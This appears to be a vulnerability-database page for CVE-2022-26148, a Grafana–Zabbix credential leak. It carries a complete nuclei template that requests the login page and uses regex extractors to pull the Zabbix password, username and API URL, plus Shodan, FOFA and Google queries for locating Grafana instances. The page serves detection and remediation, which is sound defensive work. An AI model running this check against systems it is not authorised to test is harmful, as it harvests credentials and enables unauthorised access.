HexBrain

Browse / CVEs / CVE-2022-26148

CVE-2022-26148· grafana / grafana· CWE-312

Grafana & Zabbix Integration - Credentials Disclosure

criticalseverity
9.8CVSS score
52.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.

Impact

An attacker can obtain sensitive credentials, leading to unauthorized access and potential data breaches.

Fix

Update to the latest version of the Grafana & Zabbix Integration plugin to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/login?redirect=%2F
Positive when: contains "\"zabbix\":" or "\"zbx\":" or "alexanderzobnin-zabbix-datasource" AND matches /"password":"(.*?)"/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-26148 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-26148

info:
  name: Grafana & Zabbix Integration - Credentials Disclosure
  author: Geekby
  severity: critical
  description: |
    Grafana through 7.3.4, when integrated with Zabbix, contains a credential disclosure vulnerability. The Zabbix password can be found in the api_jsonrpc.php HTML source code. When the user logs in and allows the user to register, one can right click to view the source code and use Ctrl-F to search for password in api_jsonrpc.php to discover the Zabbix account password and URL address.
  impact: |
    An attacker can obtain sensitive credentials, leading to unauthorized access and potential data breaches.
  remediation: |
    Update to the latest version of the Grafana & Zabbix Integration plugin to fix the vulnerability.
  reference:
    - https://2k8.org/post-319.html
    - https://security.netapp.com/advisory/ntap-20220425-0005/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-26148
    - https://github.com/HimmelAward/Goby_POC
    - https://github.com/Z0fhack/Goby_POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26148
    cwe-id: CWE-312
    epss-score: 0.52507
    epss-percentile: 0.98975
    cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: grafana
    product: grafana
    shodan-query:
      - title:"Grafana"
      - cpe:"cpe:2.3:a:grafana:grafana"
      - http.title:"grafana"
    fofa-query:
      - app="Grafana"
      - title="grafana"
      - app="grafana"
    google-query: intitle:"grafana"
  tags: cve,cve2022,grafana,zabbix,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login?redirect=%2F"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"zabbix":'
          - '"zbx":'
          - "alexanderzobnin-zabbix-datasource"
        condition: or

      - type: regex
        part: body
        regex:
          - '"password":"(.*?)"'
          - '"username":"(.*?)"'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '"password":"(.*?)"'
          - '"username":"(.*?)"'
          - '"url":"([a-z:/0-9.]+)\/api_jsonrpc\.php'

References

Use this check only on systems you are authorised to test. Where the data comes from